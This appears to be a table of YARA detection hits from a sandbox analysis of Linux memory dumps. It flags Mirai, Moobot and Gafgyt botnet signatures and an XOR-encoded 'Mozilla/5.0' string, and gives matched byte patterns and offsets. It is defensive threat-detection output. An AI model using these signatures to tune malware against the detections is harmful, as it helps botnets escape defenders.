6232.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6887.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6887.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6887.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6887.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6887.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6887.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7018.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6857.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6601.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6688.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6293.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6293.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6293.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6293.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6293.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6293.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6303.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6303.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6303.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6303.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6303.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6303.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7235.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6807.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6807.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6807.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6807.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6807.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6807.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6553.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6560.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6560.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6560.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6560.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6560.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6560.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6510.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6929.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
